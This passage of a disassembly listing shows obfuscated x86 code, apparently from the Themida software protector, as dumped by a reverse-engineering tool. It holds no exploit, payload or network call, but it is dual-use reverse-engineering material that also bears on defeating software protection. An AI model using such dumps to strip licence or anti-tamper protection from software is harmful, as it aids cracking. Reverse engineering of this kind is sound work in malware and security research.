		push	53947h
		mov	eax, [esp+28h+var_28]
		push	esi
		jmp	loc_55E22B
; ---------------------------------------------------------------------------


loc_55CA8D:				; CODE XREF: sub_559C84+50BDj
		add	esi, ebx
		jmp	loc_556546
; ---------------------------------------------------------------------------
		push	[esp+2Ch+var_2C]
		jmp	loc_556EAA
; ---------------------------------------------------------------------------


loc_55CA9C:				; CODE XREF: sub_559C84+2EA2j
		add	esp, 4
		sub	ebp, 4D190B50h
		and	eax, ebp
		mov	ebp, [esp+2Ch+var_2C]
		jmp	loc_55A943
; ---------------------------------------------------------------------------


loc_55CAAF:				; CODE XREF: sub_559C84-2294j
		pop	esp
		push	ebp
		push	31272EC0h
		mov	ebp, [esp+32h+var_34+2]
		jmp	loc_55B0AA
; ---------------------------------------------------------------------------


loc_55CABE:				; CODE XREF: sub_559C84+44D0j
		xor	edx, 772630E0h
		mov	ecx, edx
		pop	edx
		push	eax
		mov	eax, 30A78F19h
		sub	ecx, eax
		pop	eax
		xor	eax, ecx
		pop	ecx
		push	53D7h
		mov	[esp+2Eh+var_30+2], edi
		mov	edi, 4D3D587Dh
		sub	esp, 4
		mov	[esp+32h+var_34+2], esi
		mov	esi, 0BB447E4h
		or	edi, esi
		jmp	loc_553763
; ---------------------------------------------------------------------------


loc_55CAF5:				; CODE XREF: sub_559C84-4E29j
		shr	edi, 1
		jmp	loc_55F146
; ---------------------------------------------------------------------------


loc_55CAFC:				; CODE XREF: sub_559C84-2909j
		add	esi, ebp
		jmp	loc_55E1E1
; ---------------------------------------------------------------------------


loc_55CB03:				; CODE XREF: sub_559C84+3049j
		pop	esp
		jmp	loc_556A56
; ---------------------------------------------------------------------------


loc_55CB09:				; CODE XREF: sub_559C84-2069j
		sub	edi, 5E33F93Fh
		mov	ebp, edi
		pop	edi
		push	edx
		mov	edx, 8C61B15h
		mov	ecx, 0F794038Eh
		jmp	loc_5571C2
; ---------------------------------------------------------------------------


loc_55CB22:				; CODE XREF: sub_559C84-4582j
		push	[esp+48h+var_4A+2]
		pop	eax
		jmp	loc_55CA9C
; ---------------------------------------------------------------------------


loc_55CB2B:				; CODE XREF: sub_559C84-2A3Cj
		dec	bh
		sub	bh, 0DBh
		add	al, bh
		pop	ebx
		mov	ebx, [esp+4Ah+var_4A]
		jmp	loc_55982F
; ---------------------------------------------------------------------------


loc_55CB3B:				; CODE XREF: sub_55991D-2852j
		pop	ebp
		mov	edx, [esp+46h+var_46]
		jmp	loc_55A4EE
; ---------------------------------------------------------------------------


loc_55CB44:				; CODE XREF: sub_559C84-4E5Cj
		add	ecx, edx
		pop	edx
		push	ebp
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_558F32
; ---------------------------------------------------------------------------


loc_55CB56:				; CODE XREF: sub_559C84+14Bj
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55CB5B:				; CODE XREF: sub_559C84+479Cj
		push	ebp
		mov	ebp, 51321FAFh
		xor	eax, ebp
		pop	ebp
		push	ebp
		push	ebx
		jmp	loc_55D0B2
; ---------------------------------------------------------------------------


loc_55CB6B:				; CODE XREF: sub_559C84+3815j
		shr	ecx, 0Bh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+5Eh+var_60+2]
		pop	esp
		mov	[esp+5Ah+var_5C+2], ebx
		jmp	loc_5551BC
; ---------------------------------------------------------------------------


loc_55CB86:				; CODE XREF: sub_559C84+33EFj
		add	esi, ebp
		sub	esi, 443A085Eh
		pop	ebp
		jmp	sub_554D6A
; ---------------------------------------------------------------------------


loc_55CB94:				; CODE XREF: sub_559C84-1612j
		mov	[esp+2Ch+var_2C], ebp
		mov	ebp, 2D6924F1h
		xor	ebp, 674A30CCh
		push	ebx
		mov	ebx, 619B2366h
		jmp	loc_55AC6A
; ---------------------------------------------------------------------------


loc_55CBAD:				; CODE XREF: sub_559C84+35E6j
		dec	esi
		shr	esi, 3
		sub	esi, 0B7E78689h
		add	eax, 7D885FE1h
		push	esi
		mov	esi, 636903BBh
		add	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 41E220EFh
		sub	eax, ebx
		pop	ebx
		add	eax, esi
		add	eax, 41E220EFh
		sub	eax, 636903BBh
		sub	eax, 7D885FE1h
		push	[esp+30h+var_30]
		pop	esi
		add	esp, 4
		push	7F13h
		mov	[esp+30h+var_30], ecx
		push	4D5h
		mov	[esp+34h+var_34], edi
		push	7CA2C4Ch
		push	[esp+38h+var_3A+2]
		pop	edi
		add	esp, 4
		jmp	sub_5577DF
; ---------------------------------------------------------------------------


loc_55CC0A:				; CODE XREF: sub_559C84-482Ej
		xor	[esp+40h+var_42+2], edx
		xor	edx, [esp+40h+var_42+2]
		mov	esp, [esp+40h+var_42+2]
		or	word ptr [esp+40h+var_42+2], ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55CC1D:				; CODE XREF: sub_559C84-5E69j
		add	edx, 4
		push	1234h
		mov	[esp+4+var_4], edx
		jmp	loc_555544
; ---------------------------------------------------------------------------


loc_55CC30:				; CODE XREF: sub_556D03+1Dj
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		jmp	loc_5595DF
; ---------------------------------------------------------------------------


loc_55CC3B:				; CODE XREF: sub_559C84+5034j
		shr	ecx, 2
		sub	ecx, 3EFEEFEBh
		sub	ebx, 7450121h
		add	ebx, ecx
		jmp	loc_553876
; ---------------------------------------------------------------------------


loc_55CC51:				; CODE XREF: sub_559C84+2C3Cj
		add	al, 0F5h
		jmp	loc_55A02C
; ---------------------------------------------------------------------------


loc_55CC58:				; CODE XREF: Themida_:00559089j
		mov	esp, [esp+46h+var_46]
		add	edx, 4
		push	ecx
		push	ebp
		push	16BE1ABBh
		pop	ebp
		mov	ecx, 4CB56EE1h
		xor	ecx, ebp
		pop	ebp
		or	ecx, 48DB46B5h
		dec	ecx
		push	esi
		mov	esi, 138012AEh
		add	ecx, esi
		pop	esi
		sub	ecx, 6E5B89AAh
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+46h+var_46]
		jmp	loc_55E547
; ---------------------------------------------------------------------------


loc_55CC92:				; CODE XREF: sub_559C84-6165j
		and	eax, ebx
		push	[esp+3Ah+var_3A]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	sub_556D58
		push	119Fh
		mov	[esp+3Ah+var_3A], ebx
		mov	ebx, 2A1816F1h
		add	ebx, 1E9105Dh
		add	ebx, 2157540h
		push	eax
		mov	eax, 53A5618Ch
		jmp	loc_55AB40
; ---------------------------------------------------------------------------


loc_55CCC7:				; CODE XREF: sub_559C84+3392j
		xor	[esp+3Eh+var_3E], edx
		xor	edx, [esp+3Eh+var_3E]
		jmp	loc_55CB03
; ---------------------------------------------------------------------------


loc_55CCD2:				; CODE XREF: sub_559C84-3560j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		push	edx
		push	[esp+54h+var_52+2]
		jmp	loc_555C3B
; ---------------------------------------------------------------------------


loc_55CCEA:				; CODE XREF: sub_559C84+59DFj
		sub	edi, 261980FDh
		jmp	loc_559190
; ---------------------------------------------------------------------------


loc_55CCF5:				; CODE XREF: sub_559C84-1578j
		mov	edi, esp
		add	edi, 4
		jmp	loc_554183
; ---------------------------------------------------------------------------


loc_55CD02:				; CODE XREF: sub_559C84-4C31j
		add	[esp+4Ah+var_4A], 4
		push	[esp+4Ah+var_4A]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_554B7C
; ---------------------------------------------------------------------------


loc_55CD12:				; CODE XREF: sub_556B78+10j
		mov	esi, 4
		add	edx, esi
		jmp	loc_5572E6
; ---------------------------------------------------------------------------


loc_55CD1E:				; CODE XREF: sub_555570+Ej
		shr	ebx, 6
		add	ebx, 7DAA0537h
		sub	edx, ebx
		pop	ebx
		jmp	loc_5544FB
; ---------------------------------------------------------------------------


loc_55CD2F:				; CODE XREF: sub_559C84-27AEj
		or	dl, 25h
		push	44Bh
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_55B62F
; ---------------------------------------------------------------------------


loc_55CD3F:				; CODE XREF: sub_557F5F+10j
		mov	dh, al
		pop	eax
		jmp	loc_5563C1
; ---------------------------------------------------------------------------


loc_55CD47:				; CODE XREF: sub_559C84-29B4j
		mov	dl, 19h
		neg	dl
		sub	dl, 0DEh
		sub	bl, 88h
		sub	bl, dl
		jmp	loc_5538EF
; ---------------------------------------------------------------------------


loc_55CD58:				; CODE XREF: sub_559C84-15ACj
		mov	[esp+34h+var_34], edx
		push	ecx
		mov	ecx, 3B300CFBh
		dec	ecx
		neg	ecx
		add	ecx, 3B300CFEh
		mov	edx, ecx
		jmp	loc_5549EC
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+38h+var_3A+2]
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], ebp
		push	esp
		pop	ebp
		push	2220h
		mov	[esp+40h+var_42+2], edx
		mov	edx, 11FA5A8Bh
		or	edx, 34B800A6h
		jmp	loc_553E6C
; ---------------------------------------------------------------------------


loc_55CD95:				; CODE XREF: sub_559C84-3658j
		pop	esp
		jmp	loc_55F370
; ---------------------------------------------------------------------------


loc_55CD9B:				; CODE XREF: sub_559C84+1BB3j
		pop	eax
		sub	cl, dh
		sub	cl, 0BEh
		mov	edx, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_55A53C
; ---------------------------------------------------------------------------


loc_55CDAC:				; CODE XREF: Themida_:00558100j
		mov	[esp+56h+var_58+2], esi
		jmp	loc_5588EE
; ---------------------------------------------------------------------------


loc_55CDB4:				; CODE XREF: sub_559C84-5B7Aj
		mov	[esp+4+var_4], ebx
		jmp	loc_555758
; ---------------------------------------------------------------------------


loc_55CDBC:				; CODE XREF: sub_557739-365Bj
		add	edx, 4
		push	ebx
		mov	ebx, 97429B9h
		xor	ebx, 56EC34A3h
		push	ecx
		mov	ecx, 65DC588Eh
		and	ecx, 268774ABh
		sub	ecx, 6AAE4018h
		add	ecx, 2DFB2572h
		xor	ecx, 245C0BDCh
		add	ecx, 9F1B006Eh
		or	ebx, ecx
		pop	ecx
		xor	ebx, 390C0B5Eh
		add	ebx, 0B94BCB24h
		jmp	loc_559638
; ---------------------------------------------------------------------------


loc_55CE06:				; CODE XREF: sub_559C84-5D88j
		and	eax, ebx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_556224
; ---------------------------------------------------------------------------


loc_55CE1C:				; CODE XREF: sub_558BB5+1085j
		add	edi, 4
		push	edx
		jmp	sub_554572
; ---------------------------------------------------------------------------


loc_55CE28:				; CODE XREF: sub_559C84+4FF9j
		mov	edx, 30B81922h
		mov	esi, 30B81926h
		xor	esi, edx
		jmp	loc_5549AF
; ---------------------------------------------------------------------------


loc_55CE39:				; CODE XREF: sub_559C84-371Fj
		xchg	edi, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		or	eax, eax
		jnz	loc_556108
		push	55AAh
		mov	[esp+4Ch+var_4E+2], eax
		push	edi
		jmp	loc_5575E6
; ---------------------------------------------------------------------------


loc_55CE55:				; CODE XREF: sub_559C84+29BBj
		mov	edx, esi
		pop	esi
		jmp	loc_55EFA2
; ---------------------------------------------------------------------------


loc_55CE5D:				; CODE XREF: sub_559C84+2C09j
		sub	ebx, 2DD66440h
		push	eax
		jmp	loc_5575AC
; ---------------------------------------------------------------------------


loc_55CE69:				; CODE XREF: sub_559C84-102Aj
		or	edi, 53EB1ABCh
		and	edi, 18B7102Dh
		shr	edi, 7
		jmp	loc_55C7A2
; ---------------------------------------------------------------------------


loc_55CE7D:				; CODE XREF: sub_559C84-5CD6j
		mov	dl, 2Ch
		add	bl, dl
		pop	edx
		add	bl, ch
		jmp	loc_556DB2
; ---------------------------------------------------------------------------


loc_55CE89:				; CODE XREF: Themida_:00556E24j
		xchg	al, bh
		not	al
		xchg	al, bh
		mov	dl, bh
		pop	ebx
		push	ax
		mov	al, 0A3h
		and	dl, al
		pop	ax
		add	dl, 0A9h
		add	al, 86h
		add	al, dl
		sub	al, 86h
		pop	edx
		jmp	loc_559FFB
; ---------------------------------------------------------------------------


loc_55CEA9:				; CODE XREF: sub_559C84-594Dj
		xor	[esp-14h+arg_10], ecx
		xor	ecx, [esp-14h+arg_10]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55CEB8:				; CODE XREF: sub_559C84+54E2j
		xor	ebp, 27AB9BAEh
		jmp	loc_5584E5
; ---------------------------------------------------------------------------


loc_55CEC3:				; CODE XREF: sub_559C84-FFDj
		add	esp, 2
		push	esi
		push	small 5CA9h
		mov	word ptr [esp+2Eh+var_30+2], bp
		mov	bp, 2BEBh
		mov	si, bp
		jmp	loc_554E6D
; ---------------------------------------------------------------------------


loc_55CEDE:				; CODE XREF: sub_559C84-1C9Cj
		push	esi
		mov	esi, 4E266850h
		sub	esi, 4E26684Ch
		jmp	loc_55EC36
; ---------------------------------------------------------------------------


loc_55CEEF:				; CODE XREF: sub_559C84-6030j
		pop	edi
		jmp	loc_55AF82
; ---------------------------------------------------------------------------


loc_55CEF5:				; CODE XREF: Themida_:005578E8j
		push	ebp
		jmp	loc_55C228
; ---------------------------------------------------------------------------


loc_55CEFB:				; CODE XREF: sub_559C84-1463j
		xor	ebx, 0D8898FFAh
		add	edi, 440A6EBAh
		jmp	loc_55E334
; ---------------------------------------------------------------------------


loc_55CF0C:				; CODE XREF: sub_559C84-375Cj
		pop	esp
		push	353Fh
		mov	[esp+50h+var_52+2], edx
		push	7B580E63h
		jmp	loc_55D93F
; ---------------------------------------------------------------------------


loc_55CF1F:				; CODE XREF: sub_559C84+5440j
		xchg	esi, [esp+0]
		pop	esp
		push	3DABh
		mov	[esp+0], eax
		mov	eax, 4
		jmp	loc_55E924
; ---------------------------------------------------------------------------


loc_55CF35:				; CODE XREF: sub_559C84-588j
		push	ecx
		push	edx
		jmp	loc_557083
; ---------------------------------------------------------------------------


loc_55CF3C:				; CODE XREF: sub_559C84-71Ej
		and	eax, ebp
		pop	ebp
		or	edx, eax
		jmp	loc_555ABF
; ---------------------------------------------------------------------------


loc_55CF46:				; CODE XREF: sub_559C84+3410j
		mov	eax, [esp+5Ch+var_5C]
		jmp	loc_55C812
; ---------------------------------------------------------------------------


loc_55CF4E:				; CODE XREF: sub_559C84+3BA3j
		mov	bl, ch
		jmp	loc_55EF44
; ---------------------------------------------------------------------------


loc_55CF55:				; CODE XREF: sub_559C84-194Fj
		sub	ebp, 443E5EBh
		jmp	loc_559446
; ---------------------------------------------------------------------------


loc_55CF60:				; CODE XREF: sub_559C84+3C12j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55CF65:				; CODE XREF: sub_559C84+542Cj
		mov	edx, 9750FFBh
		mov	ebp, 2542F575h
		add	ebp, edx
		pop	edx
		add	ebp, 3AC100D9h
		dec	ebp
		shr	ebp, 6
		xchg	esi, ebp
		add	esi, 0FFFFFFFFh
		push	ebp
		push	3C22h
		mov	[esp+2Ah+var_2C+2], esi
		mov	ebp, [esp+2Ah+var_2C+2]
		jmp	loc_559CA4
; ---------------------------------------------------------------------------


loc_55CF92:				; CODE XREF: sub_559C84-147Dj
		sub	al, 51h
		jmp	loc_558991
; ---------------------------------------------------------------------------


loc_55CF99:				; CODE XREF: sub_559C84+3FECj
		sub	bl, 0A7h
		jmp	loc_554C3A
; ---------------------------------------------------------------------------


loc_55CFA1:				; CODE XREF: sub_559C84+FBBj
		xor	ebp, [esp-0Ch+arg_8]
		jmp	loc_55A6E3
; ---------------------------------------------------------------------------


loc_55CFA9:				; CODE XREF: sub_559C84+5225j
		xor	eax, ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_558711
; ---------------------------------------------------------------------------


loc_55CFC1:				; CODE XREF: sub_559C84-22EBj
		push	351D237Eh
		jmp	loc_5551A5
; ---------------------------------------------------------------------------


loc_55CFCB:				; CODE XREF: sub_553E48+Ej
		pop	ebx
		push	edx
		jmp	loc_553C1E
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+3Ah+var_3A]
		sub	esp, 4
		mov	[esp+3Eh+var_3E], edx
		push	4022h
		push	esp
		pop	[esp+46h+var_46]
		add	[esp+42h+var_42], 4
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		mov	ebp, [esp+42h+var_42]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp+46h+var_46]
		pop	esp
		xor	edx, [esp+42h+var_42]
		jmp	loc_55CCC7
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 43CDh
		mov	word ptr [esp+44h+var_46+2], ax
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55D02C:				; CODE XREF: sub_559C84-2D93j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 2
		xchg	ecx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_558522
; ---------------------------------------------------------------------------


loc_55D045:				; CODE XREF: sub_559C84+70Bj
		and	eax, ecx
		jmp	loc_55BF8C
; ---------------------------------------------------------------------------


loc_55D04C:				; CODE XREF: sub_559C84+222Bj
		mov	esi, esp
		jmp	loc_5579DE
; ---------------------------------------------------------------------------


loc_55D053:				; CODE XREF: sub_559C84-FA4j
		xchg	ebx, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebp
		mov	ebp, 4
		add	esi, 443A085Eh
		jmp	loc_55CB86
; ---------------------------------------------------------------------------


loc_55D078:				; CODE XREF: sub_559C84-1863j
		add	esp, 2
		push	eax
		mov	ah, 0AEh
		xor	ah, 57h
		or	ah, 0DDh
		shr	ah, 2
		sub	ah, 0FFh
		jmp	loc_557BAC
; ---------------------------------------------------------------------------


loc_55D08F:				; CODE XREF: sub_559C84+A76j
		add	esp, 4
		push	eax
		push	esp
		jmp	loc_55CF46
; ---------------------------------------------------------------------------


loc_55D099:				; CODE XREF: sub_559C84-17AFj
		xor	ebp, 3F2A4AC7h
		push	7D2Bh
		mov	[esp+5Ch+var_5C], ebx
		sub	esp, 4
		mov	[esp+60h+var_60], ecx
		jmp	loc_559668
; ---------------------------------------------------------------------------


loc_55D0B2:				; CODE XREF: sub_559C84+2EE2j
		push	esi
		mov	esi, 559101C6h
		mov	ebx, esi
		pop	esi
		add	ebx, 48263527h
		dec	ebx
		xor	ebx, 585D27FFh
		or	ebx, 369F10E4h
		or	ebx, 75280CE2h
		add	ebx, 0D61F6FBh
		mov	ebp, ebx
		pop	ebx
		sub	eax, ebp
		jmp	loc_553B1B
; ---------------------------------------------------------------------------


loc_55D0E4:				; CODE XREF: sub_559C84+40FCj
		add	bl, 0ECh
		mov	ch, bl
		pop	ebx
		jmp	loc_559F7E
; ---------------------------------------------------------------------------


loc_55D0EF:				; CODE XREF: sub_559C84+70j
		xchg	ebx, [esp+32h+var_34+2]
		jmp	loc_555D8B
; ---------------------------------------------------------------------------


loc_55D0F7:				; CODE XREF: sub_559C84+5F21j
		add	edx, 64877F04h
		jmp	loc_55B69B
; ---------------------------------------------------------------------------


loc_55D102:				; CODE XREF: sub_559C84-3058j
		pop	esi
		pop	ebp
		push	edx
		push	ebx
		mov	ebx, 59D16E9Fh
		sub	ebx, 7EE03ABFh
		shr	ebx, 8
		jmp	loc_5571BA
; ---------------------------------------------------------------------------


loc_55D119:				; CODE XREF: sub_559C84+586Fj
		sub	edi, 28E67473h
		push	5ECEh
		mov	[esp+4Eh+var_4E], edi
		jmp	loc_555513
; ---------------------------------------------------------------------------


loc_55D12C:				; CODE XREF: Themida_:0055F700j
		pop	edx
		sub	edx, 0D903594h
		pop	eax
		jmp	loc_557FBE
; ---------------------------------------------------------------------------


loc_55D139:				; CODE XREF: sub_559C84+1386j
		pop	esp
		ror	byte ptr [esp+46h+var_46], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		push	[esp+4Ah+var_4A]
		mov	eax, [esp+4Eh+var_4E]
		push	7530h
		mov	[esp+52h+var_52], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55AF06
; ---------------------------------------------------------------------------


loc_55D15E:				; CODE XREF: sub_559C84+1992j
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	[esp+42h+var_3E]
		pop	ebp
		jmp	loc_55C934
; ---------------------------------------------------------------------------


loc_55D175:				; CODE XREF: sub_559C84+4D8Fj
		add	eax, 4
		xor	eax, [esp+42h+var_42]
		xor	[esp+42h+var_42], eax
		jmp	loc_559735
; ---------------------------------------------------------------------------


loc_55D185:				; CODE XREF: sub_559C84-3F5Cj
		add	ebx, ecx
		pop	ecx
		mov	eax, ebx
		mov	ebx, [esp+4Eh+var_4E]
		add	esp, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xor	edi, [esp+46h+var_46]
		xor	[esp+46h+var_46], edi
		jmp	loc_554B0C
; ---------------------------------------------------------------------------


loc_55D1A7:				; CODE XREF: sub_559C84-3C6Bj
		mov	ebx, [esp+46h+var_46]
		add	esp, 4


loc_55D1AD:				; CODE XREF: sub_559C84-2830j
		push	ebx
		jmp	loc_554A95
; ---------------------------------------------------------------------------


loc_55D1B3:				; CODE XREF: Themida_:0055770Cj
		mov	[esp+46h+var_46], ebx
		mov	ebx, 145D4E27h
		shr	ebx, 3
		and	ebx, 72525591h
		add	ebx, 1
		inc	ebx
		sub	ebx, 30B2684h
		add	ebx, 0D314643h
		sub	eax, ebx
		pop	ebx
		add	eax, 3366417Ch
		add	eax, ebx
		sub	eax, 3366417Ch
		jmp	loc_55AF8E
; ---------------------------------------------------------------------------


loc_55D1E8:				; CODE XREF: sub_559C84+1F31j
		mov	cx, 3BC9h
		push	eax
		mov	ax, 7030h
		add	ax, 6F29h
		inc	ax
		sub	ax, 0C004h
		or	cx, ax
		pop	eax
		jmp	loc_55DF20
; ---------------------------------------------------------------------------


loc_55D204:				; CODE XREF: sub_559C84-3A75j
		add	esp, 4
		pop	[esp-14h+arg_10]
		pop	esp
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55D217:				; CODE XREF: sub_559C84+3FB1j
		or	ebp, 6ADE5EB4h
		sub	ebp, 50F457EFh
		xor	ebp, 674C315Ah
		shr	ebp, 3
		add	ebp, 0F9232A57h
		sub	edx, ebp
		pop	ebp
		or	edx, 2161069Ch
		and	edx, 1C153FB4h
		xor	edx, 68A97306h
		push	edx
		add	[esp-1Ch+arg_18], 0FA91779h
		pop	esi
		sub	esi, 0FA91779h
		mov	edx, [esp-20h+arg_1C]
		add	esp, 4
		xor	esi, 36E427E7h
		neg	esi
		shl	esi, 4
		jmp	loc_55CBAD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp-28h+arg_24], eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55D27D:				; CODE XREF: sub_559C84+1C89j
		and	eax, edi
		pop	edi
		xor	eax, 13D90AD5h
		mov	ecx, eax
		pop	eax
		shr	ecx, 3
		xor	ecx, 589B03E3h
		jmp	loc_55B731
; ---------------------------------------------------------------------------


loc_55D296:				; CODE XREF: sub_559C84-1655j
		and	ecx, 372D6283h
		xor	ecx, 60A156C1h
		jmp	loc_55624A
; ---------------------------------------------------------------------------


loc_55D2A7:				; CODE XREF: sub_559C84-53FFj
		push	edx
		mov	edx, 1C6F43ABh
		sub	edi, edx
		jmp	loc_55AEFE
; ---------------------------------------------------------------------------


loc_55D2B4:				; CODE XREF: sub_559C84+4BF3j
		and	ecx, 1E02139Fh
		jmp	loc_55516C
; ---------------------------------------------------------------------------


loc_55D2BF:				; CODE XREF: sub_559C84+5E78j
		push	[esp+4Ch+var_4E+2]
		jmp	loc_553E3F
; ---------------------------------------------------------------------------


loc_55D2C7:				; CODE XREF: sub_559C84-5B57j
		and	ebp, 2CEE371Fh
		xor	ebp, 7B8148DCh
		add	ebx, ebp
		pop	ebp
		jmp	loc_5581CD
; ---------------------------------------------------------------------------


loc_55D2DB:				; CODE XREF: Themida_:00558112j
		mov	ebp, eax
		jmp	loc_55C961
; ---------------------------------------------------------------------------


loc_55D2E2:				; CODE XREF: Themida_:0055E17Bj
		sub	eax, edx
		sub	eax, 3D692111h
		pop	edx
		jmp	loc_559AD5
; ---------------------------------------------------------------------------


loc_55D2EF:				; CODE XREF: sub_559C84-5D02j
		mov	[esp+6+var_8+2], ebx
		mov	bl, 83h
		and	cl, bl
		jmp	loc_553A79
; ---------------------------------------------------------------------------


loc_55D2FB:				; CODE XREF: sub_559C84+381Bj
		inc	dh
		inc	dh
		push	cx
		mov	cl, 1Eh
		jmp	loc_55550C
; ---------------------------------------------------------------------------


loc_55D308:				; CODE XREF: sub_559C84+432j
		pop	eax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	5EA4h
		mov	[esp+46h+var_46], eax
		mov	eax, 4E1B434Ch
		xor	[esp+46h+var_42], eax
		mov	eax, [esp+46h+var_46]
		add	esp, 4
		jmp	loc_5558BD
; ---------------------------------------------------------------------------


loc_55D32B:				; CODE XREF: Themida_:0055EA7Ej
		pop	edi
		mov	ecx, 32478ADDh
		sub	ecx, 31552C01h
		jmp	loc_555B1D
; ---------------------------------------------------------------------------


loc_55D33C:				; CODE XREF: sub_559C84-2E8Bj
		mov	ebx, ecx
		pop	ecx
		add	ebx, 616701h
		add	ebx, edi
		sub	ebx, 616701h
		jmp	loc_559388
; ---------------------------------------------------------------------------


loc_55D352:				; CODE XREF: sub_559C84+392j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+6Ah+var_6A]
		pop	esp
		jmp	sub_55F389
; ---------------------------------------------------------------------------


loc_55D36A:				; CODE XREF: sub_559C84+7CBj
		pop	eax
		jmp	loc_554C5B
; ---------------------------------------------------------------------------


loc_55D370:				; CODE XREF: sub_559C84+20EDj
		pop	[esp+6Ah+var_6A]
		pop	esp
		jmp	loc_55D639
; ---------------------------------------------------------------------------


loc_55D379:				; CODE XREF: sub_559C84-64FFj
		add	edi, offset loc_55699A
		shr	edi, 3
		dec	edi
		not	edi
		inc	edi
		sub	edi, 0C6005DDAh
		shr	edi, 1
		xor	edi, 2E2D6DFCh
		add	edi, 0EC36A24h
		sub	edi, 0CA73F8F3h
		mov	eax, edi
		jmp	loc_55B263
; ---------------------------------------------------------------------------


loc_55D3A7:				; CODE XREF: Themida_:0055851Dj
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ecx
		push	ebp
		xor	[esp+20h+var_20], 1F6A57B0h
		pop	ecx
		jmp	loc_5537BB
; ---------------------------------------------------------------------------


loc_55D3BB:				; CODE XREF: sub_559C84-1FC9j
		or	edi, 719249F8h
		neg	edi
		jmp	loc_55B666
; ---------------------------------------------------------------------------


loc_55D3C8:				; CODE XREF: sub_559C84+4C07j
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp+6Ah+var_6A], eax
		mov	eax, 6E994B17h
		inc	eax
		add	eax, 9166B4ECh
		jmp	loc_555E68
; ---------------------------------------------------------------------------


loc_55D3E3:				; CODE XREF: sub_5589C1+6516j
		pop	eax
		pop	ebp
		push	edx
		mov	edx, esp
		jmp	loc_556A84
; ---------------------------------------------------------------------------


loc_55D3ED:				; CODE XREF: sub_559C84-5679j
		push	edi
		jmp	loc_55A496
; ---------------------------------------------------------------------------


loc_55D3F3:				; CODE XREF: sub_559C84-4471j
		mov	cx, word ptr [esp+30h+var_30]
		add	esp, 2
		push	17Fh
		mov	[esp+30h+var_30], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 418463BBh
		sub	ebp, 75377850h
		jmp	loc_556EF6
; ---------------------------------------------------------------------------


loc_55D418:				; CODE XREF: sub_554D6A+9A71j
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 79E62DEDh
		shr	eax, 5
		xor	eax, 52BB6457h
		add	eax, 4D317BD2h
		push	ecx
		mov	ecx, 3CD020DDh
		jmp	loc_5572EF
; ---------------------------------------------------------------------------
		mov	eax, edi
		jmp	loc_55E7E7
; ---------------------------------------------------------------------------


loc_55D440:				; CODE XREF: sub_559C84-DD7j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4Ch+var_4E+2]
		mov	esp, [esp+4Ch+var_4E+2]
		mov	[esp+4Ch+var_4E+2], edx
		mov	edx, 4387E6CFh
		add	eax, 341C2381h
		add	eax, edx
		sub	eax, 341C2381h
		jmp	loc_55F207
; ---------------------------------------------------------------------------


loc_55D46B:				; CODE XREF: sub_558BA2-50D8j
		pop	edi
		jmp	loc_55FAB3
; ---------------------------------------------------------------------------


loc_55D471:				; CODE XREF: sub_557AD1+1Aj
		pop	esi
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+44h+var_46+2], eax
		mov	eax, 2
		add	edi, eax
		pop	eax
		push	4346h
		mov	[esp+44h+var_46+2], edi
		jmp	loc_55F2AF
; ---------------------------------------------------------------------------


loc_55D493:				; CODE XREF: sub_559C84-5DA0j
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_55CB6B
; ---------------------------------------------------------------------------


loc_55D49E:				; CODE XREF: sub_559C84+402Fj
		pop	ecx
		jmp	loc_55D2FB
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55DB67
; ---------------------------------------------------------------------------


